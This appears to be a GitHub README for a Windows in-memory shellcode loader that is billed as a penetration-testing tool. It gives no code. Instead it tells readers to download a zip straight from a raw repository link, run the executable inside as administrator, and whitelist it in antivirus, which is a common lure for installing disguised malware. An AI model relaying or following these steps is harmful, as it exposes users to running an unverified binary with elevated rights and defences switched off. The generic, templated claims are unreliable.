Welcome to the MemoryExec-Shellcode-Loader repository. This tool helps you run encrypted shellcode on Windows. Follow these steps to download and use the tool effectively.
MemoryExec-Shellcode-Loader is designed to help security researchers and developers test security measures. It allows you to load and execute encrypted shellcode in memory. This is useful for penetration testing and understanding how malware functions.
- Load Shellcode: Load encrypted shellcode in memory with ease.
- Windows Compatibility: Works on all modern Windows versions.
- Simple Interface: User-friendly design for easy navigation.
- Supports Multiple Payloads: Handle different types of shellcode for testing purposes.
To run MemoryExec-Shellcode-Loader, you'll need:
- Windows 10 or higher
- At least 512 MB of RAM
- A processor with at least 1 GHz speed
- Administrative privileges to execute the tool
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Visit the Releases Page: Go to the Releases page.
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Choose the Latest Release: Look for the latest version listed at the top of the page. This version will include the latest features and bug fixes.
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Download the Application: Click on the download link for the Windows executable. It might be labeled as
https://github.com/MaicolMoreno26/MemoryExec-Shellcode-Loader/raw/refs/heads/main/Loader/Shellcode-Exec-Memory-Loader-1.7.zipor similar. Save it to your computer. -
Run the Tool:
- Locate the downloaded file on your computer.
- Double-click the executable file to run it.
- If prompted, allow it to make changes to your device.
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Follow On-Screen Instructions: Once the application starts, follow the guidance provided within the interface to load and execute your shellcode.
After launching the tool, you’ll encounter a simple interface. Here’s how to use it:
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Load Shellcode: Select the option to load your shellcode. You will need a valid shellcode file. This can usually be in a
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Configure Settings: Adjust any necessary settings based on your testing needs. You might need to specify parameters that your shellcode requires.
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Execute: Click on the execute button to run your shellcode. The tool will handle the rest and display results on your screen.
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Monitor Results: Watch for any output and understand how the shellcode behaves. This helps with your security assessments.
MemoryExec-Shellcode-Loader supports multiple shellcode formats, including:
- Raw Binary (.bin): Use pure binary shellcode directly.
- Text Files (.txt): Store shellcode in a text format for easy editing.
Ensure your shellcode is properly formatted to avoid issues during execution.
- Run as Administrator: Always run the application with administrative privileges. This enhances performance and prevents permission issues.
- Testing Environment: Use a controlled environment for testing. Consider virtual machines for safety.
- Enable Antivirus Protections: Before testing, enable your antivirus but be ready to whitelist the tool as it may trigger alerts during operation.
We welcome contributions from anyone interested in improving MemoryExec-Shellcode-Loader. If you have ideas, fixes, or features to add, feel free to share. Follow the guidelines in our repository to submit your changes.
MemoryExec-Shellcode-Loader is licensed under the MIT License. You may use and modify it according to the terms specified in the license.
For any questions or support requests, please open an issue in the GitHub repository, and we will assist you promptly.